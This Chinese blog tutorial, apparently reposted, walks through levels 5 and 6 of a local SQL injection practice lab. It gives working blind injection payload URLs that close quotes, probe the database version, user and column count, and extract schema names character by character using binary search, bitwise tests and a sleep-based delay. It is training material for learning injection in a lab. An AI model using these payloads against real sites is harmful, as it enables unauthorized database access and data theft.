【MySQL注入-04】

目录

 

一、第五关

二、第六关


一、第五关

这一关我们看到和之前的几关不同,这关不返回数据库查询信息,如果ID值存在返回正常页面,如果ID值不存在返回空值错误页面,故此关采用盲注手法。

不管是盲注还是基于错误的注入,首先都要闭合SQL语句变量,才能注入SQL语句。

通过在ID后面加入单引号,出现数据库报错语句,说明开发人员未禁止错误信息输出,通过错误语句可以推断查询语句为:id= '$id'

判断SQL注入:

http://127.0.0.1/sql/Less-5/index.php?id=1'%23    #返回正常页面 说明可能数据库解析了注释语句

http://127.0.0.1/sql/Less-5/index.php?id=1' and 1%23    #注入永真条件,返回正常页面

http://127.0.0.1/sql/Less-5/index.php?id=1' and 0%23    #注入永假条件,返回错误页面

判断数据库版本:

http://127.0.0.1/sql/Less-5/index.php?id=2' /*!51001 +1*/%23    #返回正常语句

http://127.0.0.1/sql/Less-5/index.php?id=2' /*!41001 +1*/%23    #返回数据库报错语句,说明数据库解析了+1,是大于4版本,则就是5版本,支持联合查询

取字段数:

http://127.0.0.1/sql/Less-5/index.php?id=2' order by 3%23    #返回数据正常

http://127.0.0.1/sql/Less-5/index.php?id=2' order by 4%23    #返回字段超出错误提示,说明当前表的字段数为3

获取数据库系统信息:

http://127.0.0.1/sql/Less-5/index.php?id=2' and if(left(user(),4)='root',1,0)%23    #查看当前数据库用户是否为root用户,返回正常页面。

http://127.0.0.1/sql/Less-5/index.php?id=2' and if(left(user(),4)='root1',1,0)%23   #查看当前数据库用户是否为root1用户,返回错误页面,说明是root用户

http://127.0.0.1/sql/Less-5/index.php?id=2' and if(substring(version(),1,1)='5',1,0)%23    #查看当前数据版本是否为5版本,返回正常页面

获取数据库数据信息:使用二分搜索法按位搜索法,因为此方法不需要数据库报错语句,即使开发人员屏蔽了数据库错误信息,也能继续使用,故不介绍基于报错的SQL盲注。

二分搜索法获取数据库名:

#获取数据库中第一个数据库的第一个字符:
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))>64,1,0)%23    #返回正常页面
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))>96,1,0)%23    #返回正常页面
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))>112,1,0)%23    #返回错误页面
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))>104,1,0)%23    #返回错误页面
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,0)%23    #返回错误页面
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))>98,1,0)%23    #返回正常页面
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))>99,1,0)%23    #返回错误页面
#大于99返回错误,大于98返回正常,说明值为99,99的ascii码表对应的字符为'c',说明数据库名第一个字符为'c'    

#获取数据库中第一个数据库的第二个字符:
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),2,1))>64,1,0)%23    #返回正常页面
以下步骤省略

#注意!如果知道数据库名是否已猜解结束了呢,可以加一个空格判断
空格的ascii码为32,只要每次猜解加上一个是否等于32即可知道是否已猜解完

#猜取表名:
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1,1))>64,1,0)%23
以下步骤省略

步骤和基于错误的SQL注入类似

按位搜索法获取数据库名:

http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 64,1,0)%23    #返回正常页面 1
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 32,1,0)%23    #返回正常页面 1
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 16,1,0)%23   #返回错误页面 0
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 8,1,0)%23    #返回错误页面 0
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 4,1,0)%23   #返回错误页面 0
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 2,1,0)%23    #返回正常页面 1
http://127.0.0.1/sql/Less-5/index.php?id=2' and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 1,1,0)%23    #返回正常页面 1
#结合起来就是01100011换算成十进制为99,换算成ascii码表对应的字符为'c'

这样手动起来太繁琐了,盲注一般是靠工具自动化进行注入。

我们可以参考sqlmap注入神器:可以看到,sqlmap也是靠二分搜索法来进行判断注入的,但注入语句有点不一样。

当然,知道注入语句规则,我们也可以自己写工具进行注入,这将在SQLMAP不能注入的情况下进行。在复杂的sql注入语句其注入原理是一样的,只不过靠其他函数绕来绕去绕过检测而已。

二、第六关

这一关和第五关类似,只不过不是通过单引号,而是双引号,推测查询语句为:id = "$id",那么我们只要闭合双引号即可。

判断SQL注入

http://127.0.0.1/sql/Less-6/index.php?id=1"%23    #返回正常数据
http://127.0.0.1/sql/Less-6/index.php?id=1" and 0%23    #返回错误页面
http://127.0.0.1/sql/Less-6/index.php?id=1" and 1%23    #返回正常页面
http://127.0.0.1/sql/Less-6/index.php?id=1" and sleep(5)%23    #网页发送延迟了

判断字段数

http://127.0.0.1/sql/Less-6/index.php?id=1" order by 4%23    #返回字段超出错误
http://127.0.0.1/sql/Less-6/index.php?id=1" order by 3%23    #返回正常页面

进行sql注入获取信息

http://127.0.0.1/sql/Less-6/index.php?id=1" and if(left(user(),4)='root',1,0)%23    #查询用户名是否为root 返回正常页面

http://127.0.0.1/sql/Less-6/index.php?id=1" and if(substring(version(),1,1)='5',1,0)%23    #查询数据库版本是否为5版本,返回正常页面

http://127.0.0.1/sql/Less-6/index.php?id=1" and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1))>64,1,0)%23    #采用二分搜索法进行取值

http://127.0.0.1/sql/Less-6/index.php?id=1" and if(ascii(substring((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 64,1,0)%23    #采用按位操作法进行取值

猜你喜欢

转载自blog.csdn.net/a15803617402/article/details/81382112